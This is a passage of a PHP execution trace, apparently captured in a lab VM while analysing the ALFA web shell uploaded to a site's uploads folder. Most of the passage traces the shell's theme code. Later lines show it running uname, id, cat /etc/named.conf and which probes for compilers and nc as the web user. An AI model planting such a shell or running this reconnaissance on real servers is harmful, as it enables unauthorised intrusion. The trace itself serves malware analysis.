5 223 0 0.024547 2801704 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'select_box_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
5 223 1 0.024577 2801704
5 223 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 224 0 0.024601 2801704 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 224 1 0.024634 2801856
5 224 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'select{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'select_box_text'
4 A /var/www/html/uploads/alfa.php 634 $k = 'select'
5 225 0 0.024694 2801680 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'select_box_text'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
5 225 1 0.024724 2801680
5 225 R '#FFFFEE'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFEE'
5 226 0 0.024748 2801680 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFEE' 'color: {color};'
5 226 1 0.024762 2801816
5 226 R 'color: #FFFFEE;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFEE;'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'select{color: #FFFFEE;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'select_box:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = 'select:hover'
5 227 0 0.024819 2801664 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'select_box:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 227 1 0.024851 2801664
5 227 R '#27979B'
4 A /var/www/html/uploads/alfa.php 635 $color = '#27979B'
5 228 0 0.024874 2801664 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 228 1 0.024891 2801840
5 228 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'button_border'
4 A /var/www/html/uploads/alfa.php 634 $k = 'input[type=submit],.button,#addup'
5 229 0 0.024955 2801704 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'button_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5 229 1 0.024987 2801704
5 229 R '#27979B'
4 A /var/www/html/uploads/alfa.php 635 $color = '#27979B'
5 230 0 0.025010 2801704 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#27979B' 'border: 1px solid {color};'
5 230 1 0.025030 2801856
5 230 R 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'button:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = 'input[type=submit]:hover'
5 231 0 0.025093 2801680 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'button:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 231 1 0.025127 2801680
5 231 R '#27979B'
4 A /var/www/html/uploads/alfa.php 635 $color = '#27979B'
5 232 0 0.025151 2801680 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:2px solid {color};'
5 232 1 0.025168 2801856
5 232 R 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 637 $css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4 A /var/www/html/uploads/alfa.php 634 $k = '.button:hover,#addup:hover'
5 233 0 0.025222 2802216 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'button:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 233 1 0.025259 2802216
5 233 R '#27979B'
4 A /var/www/html/uploads/alfa.php 635 $color = '#27979B'
5 234 0 0.025283 2802216 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 234 1 0.025300 2802392
5 234 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'outputs_text'
4 A /var/www/html/uploads/alfa.php 634 $k = '.ml1'
5 235 0 0.025364 2802216 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'outputs_text'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5 235 1 0.025393 2802216
5 235 R '#67ABDF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#67ABDF'
5 236 0 0.025417 2802216 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#67ABDF' 'color: {color};'
5 236 1 0.025432 2802352
5 236 R 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.ml1{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'outputs_border'
4 A /var/www/html/uploads/alfa.php 634 $k = '.ml1'
5 237 0 0.025488 2802176 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'outputs_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5 237 1 0.025519 2802176
5 237 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 238 0 0.025543 2802176 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color};'
5 238 1 0.025559 2802328
5 238 R 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.ml1{border: 1px solid #0E304A;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'uploader_border'
4 A /var/www/html/uploads/alfa.php 634 $k = '.inputfile'
5 239 0 0.025619 2802192 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'uploader_border'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 239 1 0.025651 2802192
5 239 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 240 0 0.025675 2802192 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 240 1 0.025692 2802368
5 240 R 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'uploader_background'
4 A /var/www/html/uploads/alfa.php 634 $k = '.inputfile strong'
5 241 0 0.025755 2802216 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'uploader_background'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5 241 1 0.025787 2802216
5 241 R '#0E304A'
4 A /var/www/html/uploads/alfa.php 635 $color = '#0E304A'
5 242 0 0.025811 2802216 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#0E304A' 'background-color: {color};'
5 242 1 0.025826 2802368
5 242 R 'background-color: #0E304A;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #0E304A;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.inputfile strong{background-color: #0E304A;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'uploader_text_right'
4 A /var/www/html/uploads/alfa.php 634 $k = '.inputfile strong'
5 243 0 0.025889 2802192 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'uploader_text_right'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5 243 1 0.025918 2802192
5 243 R '#FFFFFF'
4 A /var/www/html/uploads/alfa.php 635 $color = '#FFFFFF'
5 244 0 0.025942 2802192 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 244 1 0.025956 2802328
5 244 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.inputfile strong{color: #FFFFFF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'uploader_text_left'
4 A /var/www/html/uploads/alfa.php 634 $k = '.inputfile span'
5 245 0 0.026014 2802176 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'uploader_text_left'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5 245 1 0.026044 2802176
5 245 R '#25ff00'
4 A /var/www/html/uploads/alfa.php 635 $color = '#25ff00'
5 246 0 0.026067 2802176 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#25ff00' 'color: {color};'
5 246 1 0.026083 2802312
5 246 R 'color: #25ff00;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'color: #25ff00;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.inputfile span{color: #25ff00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'uploader:hover'
4 A /var/www/html/uploads/alfa.php 634 $k = '.inputfile:hover'
5 247 0 0.026140 2802176 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'uploader:hover'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 247 1 0.026172 2802176
5 247 R '#27979B'
4 A /var/www/html/uploads/alfa.php 635 $color = '#27979B'
5 248 0 0.026195 2802176 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 248 1 0.026212 2802352
5 248 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'uploader_progress_bar'
4 A /var/www/html/uploads/alfa.php 634 $k = '.up_bar'
5 249 0 0.026276 2802216 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'uploader_progress_bar'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5 249 1 0.026306 2802216
5 249 R '#00ff00'
4 A /var/www/html/uploads/alfa.php 635 $color = '#00ff00'
5 250 0 0.026330 2802216 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#00ff00' 'background-color: {color};'
5 250 1 0.026346 2802368
5 250 R 'background-color: #00ff00;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #00ff00;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '.up_bar{background-color: #00ff00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'mysql_tables'
5 251 0 0.026394 2802192 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'mysql_tables'
5 A /var/www/html/uploads/alfa.php 618 $target = '#00FF00'
5 251 1 0.026418 2802192
5 251 R '#00FF00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.mysql_tables{color: #00FF00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'mysql_table_count'
5 252 0 0.026469 2802192 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'mysql_table_count'
5 A /var/www/html/uploads/alfa.php 618 $target = '#67ABDF'
5 252 1 0.026493 2802192
5 252 R '#67ABDF'
4 A /var/www/html/uploads/alfa.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.mysql_table_count{color: #67ABDF;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'copyright'
5 253 0 0.026540 2802192 alfa_getColor 1 /var/www/html/uploads/alfa.php 630 1 'copyright'
5 A /var/www/html/uploads/alfa.php 618 $target = '#dfff00'
5 253 1 0.026564 2802192
5 253 R '#dfff00'
4 A /var/www/html/uploads/alfa.php 630 $value = '#dfff00'
4 A /var/www/html/uploads/alfa.php 631 $css .= '.copyright{color: #dfff00;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'scrollbar'
4 A /var/www/html/uploads/alfa.php 634 $k = '*::-webkit-scrollbar-thumb'
5 254 0 0.026619 2802192 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'scrollbar'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5 254 1 0.026649 2802192
5 254 R '#1e82b5'
4 A /var/www/html/uploads/alfa.php 635 $color = '#1e82b5'
5 255 0 0.026673 2802192 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#1e82b5' 'background-color: {color};'
5 255 1 0.026689 2802344
5 255 R 'background-color: #1e82b5;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #1e82b5;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4 A /var/www/html/uploads/alfa.php 628 $key = 'scrollbar_background'
4 A /var/www/html/uploads/alfa.php 634 $k = '*::-webkit-scrollbar-track'
5 256 0 0.026752 2803216 alfa_getColor 1 /var/www/html/uploads/alfa.php 635 1 'scrollbar_background'
5 A /var/www/html/uploads/alfa.php 618 $target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5 256 1 0.026783 2803216
5 256 R '#000115'
4 A /var/www/html/uploads/alfa.php 635 $color = '#000115'
5 257 0 0.026806 2803216 str_replace 0 /var/www/html/uploads/alfa.php 636 3 '{color}' '#000115' 'background-color: {color};'
5 257 1 0.026823 2803368
5 257 R 'background-color: #000115;'
4 A /var/www/html/uploads/alfa.php 636 $code = 'background-color: #000115;'
4 A /var/www/html/uploads/alfa.php 637 $css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4 126 1 0.026863 2803160
4 126 R '.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4 258 0 0.027100 2786776 htmlspecialchars 0 /var/www/html/uploads/alfa.php 1073 1 '/var/www/html/uploads/'
4 258 1 0.027117 2786968
4 258 R '/var/www/html/uploads/'
4 259 0 0.027134 2786888 htmlspecialchars 0 /var/www/html/uploads/alfa.php 1074 1 'FilesMan2'
4 259 1 0.027148 2787080
4 259 R 'FilesMan2'
4 260 0 0.027163 2786936 htmlspecialchars 0 /var/www/html/uploads/alfa.php 1075 1 'Windows-1251'
4 260 1 0.027177 2787128
4 260 R 'Windows-1251'
4 261 0 0.027934 2799064 __showicon 1 /var/www/html/uploads/alfa.php 1086 1 'loader'
4 A /var/www/html/uploads/alfa.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/alfa.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/alfa.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 261 1 0.027992 2799064
4 261 R 'http://solevisible.com/images/loader.svg'
4 262 0 0.028010 2799064 alfaEx 1 /var/www/html/uploads/alfa.php 1087 4 'uname -a' FALSE FALSE ???
5 263 0 0.028025 2799064 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'uname -a' FALSE
5 A /var/www/html/uploads/alfa.php 758 $out = ''
6 264 0 0.028054 2799064 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
6 264 1 0.028068 2799104
6 264 R TRUE
6 265 0 0.028082 2799088 exec 0 /var/www/html/uploads/alfa.php 762 2 'uname -a' ''
6 265 1 0.029217 2799848
6 265 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 266 0 0.029254 2799624 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6 266 1 0.029275 2799688
6 266 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 A /var/www/html/uploads/alfa.php 763 $out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 263 1 0.029314 2799224
5 263 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 A /var/www/html/uploads/alfa.php 744 $data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 262 1 0.029352 2799224
4 262 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3 A /var/www/html/uploads/alfa.php 1087 $cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 267 0 0.029388 2799224 function_exists 0 /var/www/html/uploads/alfa.php 1088 1 'php_uname'
4 267 1 0.029402 2799264
4 267 R TRUE
4 268 0 0.029416 2799224 php_uname 0 /var/www/html/uploads/alfa.php 1088 0
4 268 1 0.029430 2799336
4 268 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4 269 0 0.029449 2799336 substr 0 /var/www/html/uploads/alfa.php 1088 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
4 269 1 0.029467 2799432
4 269 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/alfa.php 1088 $uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/alfa.php 1098 $s = 1
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
3 A /var/www/html/uploads/alfa.php 1098 $s++
4 270 0 0.029595 2800616 phpversion 0 /var/www/html/uploads/alfa.php 1116 0
4 270 1 0.029607 2800680
4 270 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4 271 0 0.029626 2801128 date 0 /var/www/html/uploads/alfa.php 1124 1 'Y-m-d H:i:s'
4 271 1 0.029685 2803480
4 271 R '2023-02-12 17:13:12'
4 272 0 0.029707 2801400 _alfa_file 1 /var/www/html/uploads/alfa.php 1130 2 '/etc/named.conf' FALSE
5 273 0 0.029724 2801400 file 0 /var/www/html/uploads/alfa.php 2507 1 '/etc/named.conf'
5 273 1 0.029753 2801552
5 273 R FALSE
4 A /var/www/html/uploads/alfa.php 2507 $array = FALSE
5 274 0 0.029778 2801512 alfaEx 1 /var/www/html/uploads/alfa.php 2509 4 'id' FALSE FALSE ???
6 275 0 0.029792 2801512 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'id' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 276 0 0.029816 2801512 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 276 1 0.029829 2801552
7 276 R TRUE
7 277 0 0.029842 2801536 exec 0 /var/www/html/uploads/alfa.php 762 2 'id' ''
7 277 1 0.031037 2802136
7 277 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 278 0 0.031064 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7 278 1 0.031089 2802056
7 278 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 A /var/www/html/uploads/alfa.php 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 275 1 0.031120 2801592
6 275 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/alfa.php 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 274 1 0.031149 2801592
5 274 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 279 0 0.031166 2801512 addslashes 0 /var/www/html/uploads/alfa.php 2510 1 '/etc/named.conf'
5 279 1 0.031180 2801544
5 279 R '/etc/named.conf'
5 280 0 0.031196 2801560 alfaEx 1 /var/www/html/uploads/alfa.php 2510 4 'cat "/etc/named.conf"' FALSE FALSE ???
6 281 0 0.031211 2801560 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'cat "/etc/named.conf"' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 282 0 0.031237 2801560 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 282 1 0.031250 2801600
7 282 R TRUE
7 283 0 0.031266 2801584 exec 0 /var/www/html/uploads/alfa.php 762 2 'cat "/etc/named.conf"' ''
7 283 1 0.032537 2801704
7 283 R ''
7 284 0 0.032580 2801640 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' []
7 284 1 0.032604 2801704
7 284 R ''
6 A /var/www/html/uploads/alfa.php 763 $out = ''
6 281 1 0.032701 2801560
6 281 R ''
5 A /var/www/html/uploads/alfa.php 744 $data = ''
5 280 1 0.032726 2801560
5 280 R ''
4 A /var/www/html/uploads/alfa.php 2510 $data = ''
4 272 1 0.032751 2801512
4 272 R FALSE
3 A /var/www/html/uploads/alfa.php 1130 $d0mains = FALSE
3 A /var/www/html/uploads/alfa.php 1131 GLOBALS['need_to_update_header'] = 'true'
4 285 0 0.032793 2801512 alfaSize 1 /var/www/html/uploads/alfa.php 1146 1 232015802368
5 286 0 0.032815 2801512 sprintf 0 /var/www/html/uploads/alfa.php 2411 2 '%1.2f' 216.08155441284
5 286 1 0.032832 2801896
5 286 R '216.08'
4 285 1 0.032847 2801552
4 285 R '216.08 GB'
4 287 0 0.032862 2801736 alfaSize 1 /var/www/html/uploads/alfa.php 1146 1 207323430912
5 288 0 0.032876 2801736 sprintf 0 /var/www/html/uploads/alfa.php 2411 2 '%1.2f' 193.08499145508
5 288 1 0.032890 2802120
5 288 R '193.08'
4 287 1 0.032905 2801776
4 287 R '193.08 GB'
3 A /var/www/html/uploads/alfa.php 1149 $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4 289 0 0.032945 2801512 ini_get 0 /var/www/html/uploads/alfa.php 1150 1 'safe_mode'
4 289 1 0.032959 2801544
4 289 R FALSE
4 290 0 0.032973 2801512 alfaEx 1 /var/www/html/uploads/alfa.php 1151 4 'id' FALSE FALSE ???
5 291 0 0.032987 2801512 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'id' FALSE
5 A /var/www/html/uploads/alfa.php 758 $out = ''
6 292 0 0.033012 2801512 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
6 292 1 0.033033 2801552
6 292 R TRUE
6 293 0 0.033047 2801536 exec 0 /var/www/html/uploads/alfa.php 762 2 'id' ''
6 293 1 0.034585 2802136
6 293 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 294 0 0.034624 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6 294 1 0.034644 2802056
6 294 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/alfa.php 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 291 1 0.034675 2801592
5 291 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 A /var/www/html/uploads/alfa.php 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 290 1 0.034706 2801592
4 290 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3 A /var/www/html/uploads/alfa.php 1153 $userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3 A /var/www/html/uploads/alfa.php 1154 $x = 0
4 295 0 0.034762 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'gcc'
5 296 0 0.034777 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which gcc' FALSE FALSE ???
6 297 0 0.034792 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which gcc' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 298 0 0.034823 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
7 298 1 0.034837 2801592
7 298 R TRUE
7 299 0 0.034851 2801576 exec 0 /var/www/html/uploads/alfa.php 762 2 'which gcc' ''
7 299 1 0.036174 2802096
7 299 R '/usr/bin/gcc'
7 300 0 0.036201 2801992 join 0 /var/www/html/uploads/alfa.php 763 2 '\n' [0 => '/usr/bin/gcc']
7 300 1 0.036219 2802056
7 300 R '/usr/bin/gcc'
6 A /var/www/html/uploads/alfa.php 763 $out = '/usr/bin/gcc'
6 297 1 0.036246 2801592
6 297 R '/usr/bin/gcc'
5 A /var/www/html/uploads/alfa.php 744 $data = '/usr/bin/gcc'
5 296 1 0.036272 2801592
5 296 R '/usr/bin/gcc'
4 A /var/www/html/uploads/alfa.php 2404 $path = '/usr/bin/gcc'
4 295 1 0.036297 2801512
4 295 R 12
3 A /var/www/html/uploads/alfa.php 1155 $x++
4 301 0 0.036323 2801512 alfaWhich 1 /var/www/html/uploads/alfa.php 1155 1 'lcc'
5 302 0 0.036336 2801552 alfaEx 1 /var/www/html/uploads/alfa.php 2404 4 'which lcc' FALSE FALSE ???
6 303 0 0.036352 2801552 _alfa_php_cmd 1 /var/www/html/uploads/alfa.php 744 2 'which lcc' FALSE
6 A /var/www/html/uploads/alfa.php 758 $out = ''
7 304 0 0.036375 2801552 function_exists 0 /var/www/html/uploads/alfa.php 761 1 'exec'
